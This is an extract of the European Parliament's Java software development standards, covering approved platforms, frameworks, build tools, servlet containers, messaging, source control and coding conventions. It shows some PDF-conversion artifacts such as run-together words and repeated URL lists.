Prefer package or source documentation to mention the originatingorganisational unit (Not mentioning that a given application may be handledby multiple organisational units during its lifecycle).

Some code and binaries are going to stay there for a long time, while internalorganizational unit names change regularly, and make it difficult to tracefunctional scope for newcomers.

Table 2. TO BE AVOIDED

eu.europa.europarl.<program>.<project>

contains code for project with idplaced in <project>, which is part of<program>. A program or project issupposed to be limited in time.

eu.europa.europarl.<organizationalunit>.<project>

contains code for project with idplaced in <project>, which wasoriginated by a given organizationalunit.

1.1.2.3. Development Target

Development of applications for the European Parliament must globally conform to Javastandards:


Page 2 of 103

• Java SE: Java Standard Edition

• Java EE: Java Enterprise Edition

A deliverable must therefore be compatible with these platforms (details of compatibility andprecise supported technologies are summarized along this document), and more importantlymust NOT rely on other equivalent platforms (.Net, LAMP…etc).

1.1.2.3.1. Target JRE/JDK

To sum it up:

Target Java version is OpenJDK 1.8.0 and above (only considering LTSversions).

1.1.2.3.2. Target JavaEE specifications

Deliverables should be compatible with the JavaEE 7.0 specification, thoughNOT as a whole.

European Parliament does not explicitely support compatibility with a full JavaEE 7 profile(such as Web profile).

Always check the supported runtime (e.g. Tomcat) and specific standards for EuropeanParliament, as explained along this documentation.

Java Enterprise Edition is made of many specifications.

Details of clearly supported specifications are spread implicitly along this document.

Target of standards being Servlet Containers (e.g. Tomcat), not all Java EE specifications canbe leveraged.

Here are the specifications newly developed applications must NOT directlyrely on at this point in time:

• All versions from older JavaEE (J2EE) specifications that are not found in JavaEE 7.0anymore

• Java EE Deployment

• J2EE Management

• Java Metadata Specification

• EJB (any version)

• CDI

• JACC

• JAXR

• JAX-RPC

• JAX-WS

• JCA (any version)

• JSF (any version)


Page 3 of 103

Previous versions of these specifications should also obviously be avoided(e.g. EJB2.1). In case of doubt (if a specification is not mentioned in thisdocument), projects are NOT allowed to presume a specification isauthorized. Ask the European Parliament for confirmation.

1.1.2.4. Deliverables

Deliverables must respect usual best practices for code quality standards, and more asspecified in specific requirements of precise projects.

Conceptually, a deliverable must contain to the very least source code, tests exercising thatsource code, binaries, and relevant documentation.

Here are the main constraints applied to deliverables:

• Deliverables must contain fully documented sources (documentation in English, e.g.javadoc in English for java code)

• It must be possible to import and maintain deliverables in the standard EuropeanParliament IDE and Software factory (see "Tooling" section further in this document),regardless of the tooling used if the deliverable is developed outside of EuropeanParliament premises.

• Build of deliverables must be reproducible in an isolated fashion. This means thatdeliverables must be accompanied with any external item needed, and with the tool usedfor the build. Deliverables must be easy to build in a continuous integration system.

• Build of deliverables must be fully documented. The level of documentation depends onthe chosen build tool (see "Tooling" section further in this document).

• Configuration of interactions of the deliverable with other European Parliament' systems(when deployed in the internal infrastructure) must be externalized (see configurationstandards) from the deliverables. Configuration of communication/integration interfaces(ports, URLs…etc) must also be externalized.

• Tests should be placed in a separate folder, or even in a separate project if needed (e.g.for integration tests or user acceptance tests).

• Use of (Test) Doubles (Stubs, Mocks, Dummies or Fakes) must be clearly documented, aswell as the way to remove/replace them with real implementations when deployed in theEuropean Parliament (this is mostly true for externally developed deliverables, though isalso valuable for internal developments).

1.1.2.5. Tooling

1.1.2.5.1. IDE

The European Parliament has validated Eclipse IDE as its main tool for Javarelated developments. Eclipse’s latest stable version is the reference.

It can be augmented with additional plugins and features.

Jetbrains Webstorm is also available for Web user interface development.Jetbrains IntelliJ IDEA is also going to be useable starting in late 2019. It canbe used as long as compatibility with standards and build tools is ensured bydevelopment teams.

1.1.2.5.2. Build tools


Page 4 of 103

The standard tool for the build of Java based deliverables in the EuropeanParliament is Apache Maven 3.x (and above).

NodeJS/NPM (recent LTS versions recommended) can also be used as a toolfor building client-side web applications (Javascript/HTML/CSS developmenttooling).

NodeJS must NOT be used as a runtime platform in European Parliament!Only build-time usage is authorized!

1.1.2.5.3. Servlet container

The open source JavaEE-compatible servlet container which must be used forEuropean Parliament developments and deployments is Apache Tomcat8.0.x.

Developments must never be done using the specifics of this deployment platforms, and shouldalways conform to the Java EE specifications limitations mentioned upper in this document,and to other standards expressed throughout this document.

Server-specific additions to the configuration should only be added when absolutely needed.

1.1.2.5.4. Messaging broker

The open source JMS compatible broker to use for European Parliamentdevelopments and deployments is Apache ActiveMQ Artemis (formerlyknown as HornetQ).

Developments must never be done using the specifics of this deployment platform, and mustalways conform to the Java EE specifications limitations mentioned upper in this document,and to other standards expressed throughout this document. Therefore, one must onlyconfigure destinations, possibly secure them and configure dead letter queues.

It must be kept in mind that a switch to any other Messaging Broker implementation must bepossible with as little work as possible (replacing the client libraries and changingconfiguration should be enough from the consumer/producer point of view).

See detailed JMS standards for more details on usage.

1.1.2.5.5. Source Control Management

In the European Parliament, the standard Source Control Management tool isGit.

For the maintenance projects that are still using SVN, it is now recommended to switch to Gitas soon as possible.

Git is available both internally (Git server) and from the internet for external developers andmixed teams (Git-Ext server).

1.1.3. PRESENTATION LAYER

1.1.3.1. General considerations

On the server side, applications must apply the MVC2 Pattern and implement REST APIs. Theymust also use the supported frameworks described below.


Page 5 of 103

1.1.3.2. Frameworks

1.1.3.2.1. Spring MVC

The standard framework for creating the server side MVC implementation ofweb sites is Spring MVC.

It is flexible enough to render any kind of output:

• HTML pages

• PDF documents

• JSON messages

• reports

• or any kind of text generated through a template engine (Velocity, FreeMarker) …

Moreover it is easy to integrate with other libraries (like Bean Validation, "JavaScriptlibraries",etc.) and keeps the code easy to test.

Under the hood, Spring MVC has specialized objects which complete the main concerns of webframeworks and are easily extendable:

• Models : Containing data

• Controllers: Handling user interactions

• Views: Displaying information to end users.

Server-side page templating must be done using the Spring-powered Thymeleaf framework.

1.1.3.2.2. Angular

Angular is supported for teams with a good knowledge of JavaScript andshould be used in conjunction with Spring MVC.

It supports all standard browsers available in the European Parliament.

Angular offers high-level services to manage the state of the page, and the synchronisationwith the server.

Angular applications should be coded in Javascript, though Typescript can be used as long asthe development team has ensured adequate tooling is available along the developmenttoolchain.

1.1.3.2.3. Vue.js

Vue.JS is supported for teams requiring a component-driven frameworks,with easier incremental adoption.

It is easily integrated with other frameworks, and can be easily plugged through regularHTML/Javascript/CSS in an existing application, in order to provide a more interactiveexperience.

1.1.4. BUSINESS LAYER AND INTERACTION BETWEEN LAYERS

1.1.4.1. POJO

Use of Plain Old Java Objects (POJOs) for implementing applications' business layer is the


Page 6 of 103

supported coding standard. This standard is to be respected, whichever framework is used forsoftware development.

Note that POJOs are not necessarily JavaBeans. Indeed, JavaBeans are in factPOJOs with some specific restrictions defined by the Java Beansspecification.

Coding POJOs has the main advantage of keeping the framework-specific code out of yourbusiness code.

Moreover, when using POJOs, only very basic patterns are needed. Most patterns (likefactories,singletons…etc) are needed for the various frameworks that will use, expose orpersist your business POJOs. This of course does not mean that these patterns are neverneeded, but they are usually not necessary to implement the business.

You’ll end up coding 2 main types of POJOs for the business layer:

• Entities: Entities are the parts of the system that should vary less.

• Processes: Processes should vary more with time and often match business activities.Usually processes are coded as Service (or Manager) Objects.

The rest of the code is usually for Repositories (a more modern approach to Data AccessObjects), remoting (synchronous or asynchronous), low level access control, presentation,transformation … These are important things, yet technical things that will vary depending onthe type of client, the security policy, the environment where the application will be deployed…

These technical concerns can also be coded as POJOs, but should not be referenced by yourBusiness POJOs in order to separate technical concerns from business concerns.

1.1.4.2. Object mapping

More precisely object-to-object mapping; when using POJOs, it is frequent to have therequirement to copy state between different Objects, e.g. between the Business POJOs andthe Objects used in the external view (MVC, or REST API) of the application.

The MapStruct library can be used for such purposes.

1.1.4.3. Validation

By Validation we mean the operation of checking if object’s properties respect some definedsets of rules.

Several sets of validation rules can coexist and their pertinence is context-specific but we canhave a minimum set of rules that should always be respected.

Bean Validator allows usage of different sets of rules and can very easily be used to check localconstraints.

European Parliament supports using a JSR 380 (Bean validation 2.0)implementation: Hibernate Validator.

With or without this framework, validation of data coming from user input,or coming from external source (web service, database…) is mandatory andwill ensure better security of the application.


Page 7 of 103

1.1.4.4. Coding to interfaces

Use of interfaces to describe and specify the interaction between different layers ismandatory. This eases the creation of mocks or stubs of functionalities for tests.

1.1.4.5. Dependency injection

Directly linked to the previous topics, the concept of dependency injection, also known as"Inversion of control", allows the business layer to stay clear of any presentation, persistenceorintegration concerns.

Relations with other layers are defined through injection, whether through constructors,setters,or any other mechanism that would allow the business related objects to stay clearfrom framework-specific dependency.

The standard framework for dependency injection is Spring framework.

It can be used with Java configuration and annotations, or with XML configuration if seen fit,or if externalization of configuration requires it.

1.1.5. PERSISTENCE LAYER

1.1.5.1. High level persistence framework

The standard framework to be used for the persistence layer is Spring Data.

This framework eases the implementation and maintenance of the persistence layer, andremoves a lot of the boilerplate code from the persistence layer.

Most of the code will then be in the parts of the application which require real complexpersistence mechanisms.

1.1.5.2. Object Relational Mapping

Object-Relational Mapping (ORM) tools are achieving persistence of data with small side-effects on the domain objects while taking in charge transactions.

The standard froamework for ORM Hibernate. Moreover Spring Framework isadvised to manage transactions as well as security, and connect them to thedatasource.

The mapping is either available with XML configuration or JPA annotations.

As some non-standard features remain only available with XML or by using directly Hibernate,it is the supported default.

If these specific features are not needed by your application, you may use Hibernate with JPAannotations. The JPA container should not be considered as provided by the container.

For persistence that is not very object-related (batch updates or massiveselect requests for list displays) prefer the use of Spring’s JdbcTemplates.

1.1.5.3. JDBC

JDBC is a Java SE API standardizing access and queries to relational databases. Usingconnection pools and datasources is required: direct connections to databases are not allowed.SQL requests have to be wrapped into either a PreparedStatement (from JDBC) orJdbcTemplates (from Spring Framework). The second choice is strongly advised because it


Page 8 of 103

manages exceptions and transactions automatically.

1.1.5.4. Datasources

Datasources' configuration must be provided separately from the application, to bemanageable by operational teams and configuration management.

1.1.5.5. Database

The European Parliament provides the following target relational databases:

• Oracle Database

• PostgreSQL

Persistence-related code must NOT be made specific to the underlyingdatabase.

1.1.6. INTEGRATION/REMOTING

1.1.6.1. JMS

Usage of Java Messaging System (JMS) within Java software development projects that needasynchronous communications between different components is the supported standard.

JMS provides a common way for Java programs to create, send, receive and read an enterprisemessaging system’s messages. This enables asynchronous communication for Java applicationsand can easily replace any software that relies on polling remote resources.

JMS defines a common set of enterprise messaging concepts and facilities. It attemptstominimize the set of concepts a Java language programmer must learn to use enterprisemessaging products. It strives to maximize the portability of messaging applications.

JMS must be limited to interactions between information systems, not insidean application’s scope, even when it uses multiple nodes. In an application’sscope, REST APIs and Spring Integration’s JDBC queues must be prefered.

The main concepts are:

• JMS Provider (think of it as the equivalent of a JDBC Driver for Messaging systems)

• JMS Messages (a series of well defined interfaces for Messages)

• JMS Domains (Point-to-point or Publish/Subscribe)

JMS must not be confused with Java Mail: JMS deals with Enterprise Messaging Systems througha unified API, Java Mail deals with emails.

Producing messages can be done whether through a Spring framework JMSTemplate or withclassic JMS code.

Consuming messages must be done using Message Driven POJOs from Spring framework.

Use TextMessage object to exchange data such as XML or JSON.

Use of ObjectMessage object is forbidden and must be replaced by explicitserialization to a structured markup such as XML or JSON.


Page 9 of 103

1.1.6.2. Email

Functional requirements of Applications often specify the need for sending emails to targetusers.

Usage of the JavaMail API to send emails from applications is the supportedstandard.

Spring framework's Mail support is also allowed as an abstraction for dealingwith more intricate mails.

In order to avoid issues such as attached file blocked or messages detected as a SPAM, emailsmust comply with the following the rules:

• Emails must respect the standards to avoid being considered as malformed or as SPAM.Therefore, emails must conform to the different RFCs, in particular the RFC 822 whichdefines the mandatory and optional fields of an email.

• Sender’s email addresses:

◦ The sender’s email address must be a real address, defined within the ActiveDirectory.It should be an application mailbox rather than a user mailbox. An application mailboxis longer available in time.

◦ The sender’s mailbox must be managed, because when a message cannot be deliveredto its recipient, the NDR will be sent to this address. The most common way is tomanage it through a delegation.

• Recipient’s email address:

◦ To send an email to a large amount of recipients, it must be sent in several batches.Moreover, it is recommended to wait several minutes between the different sendingsavoiding thus to be considered as a spammer and avoiding to overload the emailinfrastructure.

◦ To hide to the receivers, the list of all the people who receive the email, you can usethe BCC (Blind Carbon Copy) field.

• Email content:

◦ Emails must be encoded in UTF-8, thus emails can be written in all the Europeanofficial languages.

◦ For security reasons, it is forbidden to include scripting within emails.

• Attached files:

◦ Size: attached files can be blocked by the SMTP gateway of the recipient’s emailaddress. Most of the time, the attached files are blocked if their size is bigger than 10Mo.

◦ Extension: attached files can be blocked for security reasons by the SMTP gateway ofthe receiver’s email address. Some file formats can include viruses therefore some fileextensions are blocked. So, when it is possible, it is recommended to send PDF or ZIPfiles.

◦ Images & Background images: to send HTML emails including images or backgroundimages, it is preferable to use in-line images or to be sure that the source is accessibleby the recipients (inside or outside)

1.1.6.3. Remoting and Services

In any remote access there are consumers and producers of some capabilities. The couplingbetween the two can theoretically be strong or loose.

To achieve robustness of the system and easy integration it is advised tochoose looser coupling between components.


Page 10 of 103

If both components are developed in the same time, consequence of strong coupling can bemitigated.

To provide a service conveys an obligation towards the consumers of the service, and thereforethe design of a service MUST respect more characteristics:

• the service must provide a standardized service contract

• the service must be loosely coupled

• the service must be as stateless and reentrant as possible.

The use of remoting (without implying the exposition of a service with a standardized contractand Service Level) is an internal architectural decision that doesn’t need to follow as strictlythese design consideration.

Generally speaking, remoting protocols which exchange Serialized objects on the wire (such asSpring Remoting, RMI…) are forbidden. They MUST be replaced by REST web services.

If you want to provide a service, outside of any design consideration, you must consider RESTweb services.

REST is advised if the service is to be consumed directly by UI components (HTTP caching andcontent negotiation can be leveraged), and for most other web service scenarios.

1.1.6.4. REST Web Services

REST is the standard and supported way to implement API services in the European Parliament.

REST stand up for Representational State Transfer coined by Roy Thomas Fielding inArchitectural Styles and the Design of Network-based Software Architectures [FieldingREST] in2000.

It’s difficult to have an application that follows completely the REST architectural style.Leonard Richardson developed a maturity model that explicitly measures the adherence toREST rules.

A blog post on the REST Richardson Maturity Model by Martin Fowler [FowlerMaturityModel]explains the different Levels very clearly.

Two frameworks can be used to develop REST services: Apache CXF RESTframework and Spring REST stack based on Spring MVC.

1.1.6.5. Note on SOAP Web Services

SOAP Web Services are not standard anymore for the implementation of services in EuropeanParliament.

They are dealt as obsolescent technologies and described in the relevant obsolescencedocumentation.

1.1.7. CROSS-CUTTING CONCERNS

1.1.7.1. XML

1.1.7.1.1. XML handling

Even though JSON is the growing standard for exchange of information in applications, it issometimes require to use a more structured and typed format. The standard format for thisrequirement is XML.


Page 11 of 103

In order to manipulate XML directly from Java, the standard supportedapproach is to use the standard JAXP APIs:

• DOM (Document Object Model)

• SAX (Simple API for XML)

• StAX (Streaming API for XML)

• TrAX (Transformation API for XML)

In doubt, for general purpose parsing/generation of XML, prefer StAX for itssimplicity of use and performance.

1.1.7.1.2. Object/XML Mapping (OXM)

Object/XML Mapping (OXM) is about converting an XML document to and from an object.

Object/XML Mapping enables applications to deal with the data defined in an XML documentthrough an object model which represents that data.

The process of converting an object to an XML document is known as XML Marshalling, orXMLSerialization.

The process of converting an XML document to an object is known as XML Unmarshalling, orXMLDeserialization.

The conversion may require a precise mapping between the XML structure and the object’sclass definition. Defining such an explicit mapping is known as XML data binding.

The standard framework for Object/XML Mapping is Spring OXM.

Spring OXM adds an abstract layer in front of OXM frameworks, recommended instead of directuse of XML APIs.

The binding frameworks compatible with Spring OXM are JAXB2 and XStream.

1.1.7.2. Workflow

For the needs of application workflows, Flowable (fork of Activiti) is thestandard supported workflow engine.

It can easily be embedded in an application through its integration with Spring framework.

It makes it very easy to test (unit, integration) workflows and to use test doubles for thatpurpose.

Flowable is based on the BPMN 2.0 standard, though this should only beconsidered implementation detail. Applications must not rely on BPMN-related standards and specifications in their design.

1.1.7.3. JSON

For any serialisation from or to JSON (JavaScript Object Notation) theJackson library must be used.


Page 12 of 103

1.1.7.4. Caching strategy

Usage of caches in order to improve performance of time-consuming data retrieval operationsis standard.

The standard framework for cache implementation is EhCache, possiblythrough Spring Cache and/or the JCache specification.

If you don’t want to explicitly use cache in your business code or if you want to apply cross-cutting cache strategies to your application, AOP can be a good choice.

Use of AOP is only recommended and supported if you do it through the Spring framework.

Usage of a cache is indicated especially for the following scenarios:

• Accessing a common read-only data-store

• Accessing remote services

• Optimizing repeating tasks

The cache facility should be implemented in such a way that it conforms to the following bestpractices:

• It should be possible to retrieve each element in the cache by a unique ID.

• Your application must not fail on cache errors.

• Your application must check for an element in the cache, and if it is not available, do theusual retrieval and put it in the cache before returning it.

In conclusion:

• During development/tests: use whichever simple implementation you see fit.

• During runtime and for production: prefer EhCache.

1.1.7.5. Applications security

Authentication and authorization must be done using container-providedmechanisms. For a web application, this means that only the servlet APImust be used in order to access a user’s Authentication status or itsAuthorizations (roles).

Applications must handle Authentication using container-providedmechanisms, and must NOT implement them.

Authorization is also provided by container mechanisms.

Deliverables developed externally must stick with BASIC authentication configured at containerlevel (not in the application).

When deployed inside the European Parliament, BASIC can then easily be replaced by multipleother internal mechanisms without touching the application’s code and affecting its generalbehaviour.

Use of Spring Security is possible, provided the use of European Parliament-specific adapters.


Page 13 of 103

1.1.7.6. Testing strategy

Unit tests must be provided for key functions of the deliverables. A level of coverage must beagreed on and respected.

JUnit 4 and above can be used. The use of any other testing framework mustbe fully documented.

For externally developed deliverables, Test doubles (such as Mocks, Stubs, Fakes and Dummies)are highly recommended in the case of interaction with resources available inside theEuropean Parliament only. They can be provided by the internal teams at project inception forexample.

Tests must be made reproducible, and must be made to run through a build tool.

1.1.7.7. Logging

Logging to files is necessary for enabling application behaviour diagnostic, for auditing, ortracing.

Logging MUST be done using SLF4J API.

Any other logging framework, possibly brought by a transitive dependency,must be bridged to SLF4J using one of its multiple adapters.

1.1.7.8. Configuration

Configuration in applications is conceptually separated in two parts:

• Application behaviour and frameworks configuration

• Containers and interfaces configuration

The second one refers to the configuration of any parameter that may vary depending on theenvironment surrounding an application.

This kind of parameter must therefore be externalized from the application deliverable (e.g.war archive).

For example, any reference to a port, URL, tuning parameter (cache eviction delay forexample), security credentials,…etc; must be externalized, in order to allow for a simpleradaptation of configuration when deployed inside the European Parliament’s infrastructure.

European Parliament’s application servers all have an etc/ folder put in theclasspath where this kind of configuration files lies.

Inside of an application you may access such files using:Thread.currentThread().getContextClassloader().getResource...() … or even better, rely onthe functionalities of frameworks dealing with this properly (e.g. property place holders inSpring Framework).

1.1.8. APPENDICES

1.1.8.1. Library/Technology versions

Here you’ll find a list of library and technology versions as an indication of the currentversions used in the European Parliament. These versions give you a generic idea of theversions or versions ranges, though must be thoroughly checked against the timely target


Page 14 of 103

systems and requirements for each project.

Library/Technology Version

Java SE OpenJDK 1.8.0_x

Java EE 7.0

Eclipse 4.x

Apache Maven 3.x

Apache Tomcat 8.0.x

ActiveMQ Artemis (a.k.a. HornetQ 3+) 2.x

Spring 5.x

Jackson 2.x

Angular 8.x

Hibernate 5.x

Oracle 12g

Apache CXF 3.x

Servlet 3.1

EhCache 3.x

JUnit 4

Flowable 6.x

slf4j 1.7

1.1.8.2. References

Here you’ll find a list of external URLs pointing to documentation of technologies or tospecifications.

Library/Technology URL

OpenJDK https://openjdk.java.net/

Java SE https://www.oracle.com/technetwork/java/javase/

Java EE https://www.oracle.com/technetwork/java/javaee/

Apache Maven https://maven.apache.org/

Apache Tomcat https://tomcat.apache.org/

Git https://git-scm.com/

Spring https://spring.io/projects/spring-framework/

Angular https://angular.io/

Vue.js https://vuejs.org/

POJO https://en.wikipedia.org/wiki/Plain_Old_Java_Object


Page 15 of 103

https://openjdk.java.net/

https://www.oracle.com/technetwork/java/javase/







https://www.oracle.com/technetwork/java/javaee/







https://maven.apache.org/

https://tomcat.apache.org/

https://git-scm.com/

https://spring.io/projects/spring-framework/





https://angular.io/

https://vuejs.org/

https://en.wikipedia.org/wiki/Plain_Old_Java_Object





Library/Technology URL

Hibernate https://hibernate.org/

JDBC https://www.oracle.com/technetwork/java/javase/tech/index-jsp-136101.html

Oracle Database https://www.oracle.com/database/

CXF https://cxf.apache.org/

Jax-RS https://jcp.org/en/jsr/detail?id=311

JAXB2 https://www.oracle.com/technetwork/articles/javase/index-140168.html

XStream https://x-stream.github.io/

EhCache https://www.ehcache.org/

JUnit https://junit.org/

slf4j https://www.slf4j.org/

▪ [FieldingREST] http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm

▪ [FowlerMaturityModel] http://martinfowler.com/articles/richardsonMaturityModel.html


Page 16 of 103

https://hibernate.org/

https://www.oracle.com/technetwork/java/javase/tech/index-jsp-136101.html











https://www.oracle.com/database/



https://cxf.apache.org/

https://jcp.org/en/jsr/detail?id=311









https://www.oracle.com/technetwork/articles/javase/index-140168.html









https://x-stream.github.io/

https://www.ehcache.org/

https://junit.org/

https://www.slf4j.org/

http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm









http://martinfowler.com/articles/richardsonMaturityModel.html





2. DETAILED STANDARDS2.1. DEVELOPMENT TOOLS

2.1.1. JDK/JRE

2.1.1.1. Standards

The standard version of the JDK and JRE is OpenJDK 1.8.0 which implementsJava Platform Standard Edition (Java SE).

Older versions of the JDK and JRE are completely phased-out in theEuropean Parliament.

They are not updated with the latest security patches and are notstandard for production use.

European Parliament urges the development coordinators and the responsibleof applications using a phased-out version to consider an upgrade to version1.8.0 or higher.

Oracle JDK must be progressively phased-out in favor of OpenJDK.

Default JVM for the Windows platform (located in Windows' PATH and linkedto the browser) is frequently updated for security reasons. These updates areunrelated to server-side application development coding standards.

2.1.1.2. References

2.1.1.2.1. Web sites

Name Reference

Oracle Java SE SupportRoadmap

http://www.oracle.com/technetwork/java/eol-135779.html


Page 17 of 103

http://www.oracle.com/technetwork/java/eol-135779.html

2.1.2. Source Control Management (SCM)

2.1.2.1. Introduction

Source control or Revision control allows the management of changes to any files (text orbinary content). In the European Parliament, it will be used in software development. It isintegrated in development and build pipeline tools, allowing teams to change filesconcurrently, and providing tools for merges and conflict resolution. Changes in multiple filesare gathered in a new revision including this set of files. Teams will have the possibility tocompare, restore or merge revisions, and to copy them in branches or tags.

2.1.2.2. Standards

In the European Parliament, the standard Source Control Management tool isGit.

Subversion (SVN) used to be the previous standard. It is kept for the legacyusages, but no new SVN repository is provided.

Git is available both internally (Git server) and from the internet for external developers andmixed teams (Git-Ext server). In this respect, external development carried from VPN typetechnologies is similar to an internal access.

As the SCM tools are dedicated to the management of source code, it is not appropriate to usethem to store large binary files, documentation, libraries and build artifacts. The history of allthe files is kept in the repository. So even if files are deleted at a later stage, they will remainin the history, bloating the server during intensive operations. The artifacts of the builds andthe external libraries must be kept outside the SCM repository, in a dedicated binaryrepository. Small images and other small binaries strictly related to source code, and that arenot modified too frequently, are of course allowed.

2.1.2.3. Best practices

Advises and technical guides for using Git in the European Parliament are available in the"how-to" guides.

2.1.2.4. References


Name Reference

For more informationabout Git

• http://git-scm.com/

• http://git-scm.com/book/

• http://en.wikipedia.org/wiki/Git_%28software%29

For Legacy SVN • https://subversion.apache.org/

• http://svnbook.red-bean.com/

• http://en.wikipedia.org/wiki/Apache_Subversion


Page 18 of 103

http://git-scm.com/

http://git-scm.com/book/



http://en.wikipedia.org/wiki/Git_%28software%29





https://subversion.apache.org/

http://svnbook.red-bean.com/

http://en.wikipedia.org/wiki/Apache_Subversion





2.1.3. Software build


Build tools are parts of a pipeline that takes code as an input, and produces documentation,binaries and configuration as an output. They are also used to trigger, run, and collect theresults of various types of tests.

2.1.3.2. Standards

The main standard build automation tool for the server-side code of projectsin the European Parliament is Apache Maven 3.

Any development tools (IDE, editors) must be compatible with Apache Maven 3. The standardIDE and tools are chosen with that criteria in mind.

The main standard build tool for the Web-User interface layer isNodeJS/NPM.

Tools to develop with NodeJS/NPM must be carefully chosen. Eclipse is not efficient withNodeJS/NPM.

Therefore Jetbrains Webstorm has been chosen for the development of the WebUI.

Jetbrains IntelliJ IDEA will also soon be available and will allow developing both the web UIand backend in the same tool efficiently.

Both can be used as soon as available, if the standard use of build tools is respected.

2.1.3.3. Maven standard use

2.1.3.3.1. Integration of Maven with the project organization

2.1.3.3.1.1. Maven builds must be managed

At least one person in the project must be responsible for the elaboration of the server-sidebuild and must regularly check if it’s running properly.

2.1.3.3.1.2. Maven builds must be launched often

A build system is useful if you launch it often.

The frequency can be tuned depending on the project’s size or needs.

A nightly build is a good start.

2.1.3.3.1.3. Maven builds must be the source for the releases

Whenever you want to build an official release of your application, the server-side build mustbe used rather than the “I’m building it myself on my desktop” method.

This way, extracting a project’s tagged version from the SCM and building it with Maven mustbe sufficient for reproducible builds. This also implies that the same build artifacts must bedeployed in all the runtime environments, following a lifecycle that goes from development toproduction; the variable elements for each environment must be shipped in externalcomponents to the build artifacts (for example in configuration files).


Page 19 of 103

2.1.3.3.1.4. Maven builds must be simple and elegant

There aren’t a thousand ways to build standard projects (jar, war). If the project tree is clearand simple, you’ll always find a way to deal with it. Maven builds must never add anycomplexity to the intuitive way of building a deliverable.

2.1.3.3.2. Naming conventions

Artifacts produced by Maven have are described through a GAV (*G*roup id/*A*rtifactid/*V*ersion) descriptor. This describes the normative naming to be used in the EuropeanParliament.

2.1.3.3.2.1. GroupId

The groupId is named using the reverse namespace approach.

For applications of the European Parliament, a namespace such as:

• eu.europa.europarl.application

• eu.europa.europarl.functionaldomain.application

must be used.

E.g.: +eu.europa.europarl.hr.timesheetapp+

2.1.3.3.2.2. ArtifactId

The artifactId must only contain lower case ASCII letters and numbers, and hyphens.

E.g: +timesheetapp-frontend+, +timesheetapp-core+ or +timesheetapp-services+

2.1.3.3.2.3. Version

The version must use the Major.Minor.BugFix scheme.

E.g.: +1.2.0+ or +2.1.0+ or +2.3.0+

An optional timestamp can be added to the version, separating it from the rest using a hyphen,or Maven could handle it for Snapshot versions of your modules (you would then use the-SNAPSHOT suffix on your version). Timestamps must be put in reverse time order for naturalsorting (from the highest time unit to the lowest).

E.g.: +2.3.0-201201011045+

Note that only release versions must be sent to production environments, NOT "SNAPSHOT"versions. It should preferably also be the same for dependencies.

2.1.3.3.2.4. Module

The folder containing a module (and therefore its pom.xml file) must be named after theartifactId of the module.


Page 20 of 103

If the target artifact is timesheetapp-services-1.0.0.jar, the project mustbe committed to the SCM in a folder or in a repository named timesheetapp-services. This name will also be the project name in Eclipse for example.

2.1.3.3.3. Project’s directory layout

The standard directory layout is the Maven Standard Directory Layout:

2.1.3.3.4. Repositories

In European parliament, internal repository proxies are provided for external and internallyproduced artifacts. See related How-to guides for help on how to use them.

2.1.3.4. NodeJS/NPM standard use

2.1.3.4.1. Usage scope

NodeJS/NPM is validated as a build tool, to be used only in the build/testingpipeline. It is not allowed as a target runtime for production applications inthe European Parliament.

2.1.3.4.2. Repositories

In European parliament, internal repository proxies are provided for external and internallyproduced modules. See related How-to guides for help on how to use them.

2.1.3.5. References


Name Reference

Apache Maven Project https://maven.apache.org

Node.js https://nodejs.org/


Page 21 of 103

https://maven.apache.org/guides/introduction/introduction-to-the-standard-directory-layout.html

https://maven.apache.org

https://nodejs.org/

2.1.4. Servlet Container


For developing web applications, European Parliament makes use of a standard servletcontainer as an "application server". That servlet container is Apache Tomcat.

The recommended approach is for teams to work on local workstation-based servers allowingeach developer to work in a decentralized fashion, and to then merge to a commondevelopment server, therefore initiating the server-side staging. This improves responsivenessfor teams, though it requires great discipline and good merging strategies.

2.1.4.2. Standards

2.1.4.2.1. Target

Apache Tomcat 8.0 is the default target for web applications developed inthe European Parliament and the mandatory server for applicationsdeveloped by external contractors out of European Parliament’s premises.

2.1.4.2.2. Pre requisites

Apache Tomcat 8.0 must be launched with Open JDK 8.

2.1.4.2.3. Package description

European Parliament packages Apache Tomcat for development workstation and productionservers. This packaging is not altering the regular Apache Tomcat installation a lot.

• standard Apache Tomcat servlet container

• adaptations to the default logging framework

• additional folders implicitely loaded in the classloader

• specific scripts and configuration for server lifecycle (init/startup/shutdown/status/kill)for Linux/Windows developer workstations and Linux servers.

2.1.4.3. References


Name Reference

Apache Tomcat’s web site http://tomcat.apache.org/


Page 22 of 103

http://tomcat.apache.org/

2.1.5. Messaging Broker


Messaging Brokers provide a way to have asynchronous dialog between information systems,allowing to decouple the availability or to act as buffer by queuing incoming tasks. They canalso be used in a publish/subscribe mode, to receive notifications from other informationsystems. In the European Parliament, Asynchronous messaging is currently done using the JMSAPI, with a JMS broker implementation.

2.1.5.2. Standards

2.1.5.2.1. Target

Apache ActiveMQ Artemis is the default target for applications developpedfor the European Parliament, requiring a Messaging Broker (i.e. JMS) forasynchronous exchanges.

2.1.5.2.2. Pre-requisites

This messaging broker must be launched with Open JDK 8.


European Parliament builds a custom package of Apache ActiveMQ Artemis which contains:

• standard Apache ActiveMQ Artemis Broker

• scripts for the startup/shutdown for developer workstations, scripts forinit/startup/shutdown/status/kill for linux/unix servers.

2.1.5.2.4. Compatibility notes

2.1.5.2.4.1. OpenJDK compatibility

ActiveMQ Artemis Broker 1.x only supports OpenJDK 8. ActiveMQ Artemis Broker 2.9.x+ alsoofficially officially supports OpenJDK 11 (not yet in scope of this standard).

2.1.5.2.4.2. Client compatibility

ActiveMQ Artemis Broker 2.x is compatible with legacy HornetQ clients, though requiresconfiguration changes (at broker level, not client) to function.

Upgrade to ActiveMQ Artemis client library is advised for full compatibility.

2.1.5.3. References

2.1.5.3.1. Standards/Specifications

JMS Specification: JSR 914


Name Reference

Artemis’s web site https://activemq.apache.org/artemis/


Page 23 of 103

https://activemq.apache.org/artemis/



2.1.6. Integrated Development Environment (IDE)


Integrated Development Environment (IDE) is a key tool for productivity of developers.

It is through an IDE that developers will maintain code, access source code repository, andensure the quality of their deliverables.

2.1.6.2. Standards

Current standard for IDE is the Eclipse IDE platform.

The Eclipse IDE platform is a pluggable platform allowing to compose adequate tools forvarious purposes.

Eclipse Installer (Project Oomph) is a provisioning tool that allow the installation of EP customEclipse-based toolsets.

European Parliament provides various profiles of tools, mainly based around Eclipse SpringTools Suite.

Eclipse should be used in the latest possible version.

Please note that since 2018, Eclipse releases have accelerated their pace to multiple times ayear.

For reliability, European Parliament has chosen to support one release per year internally,being the June release.

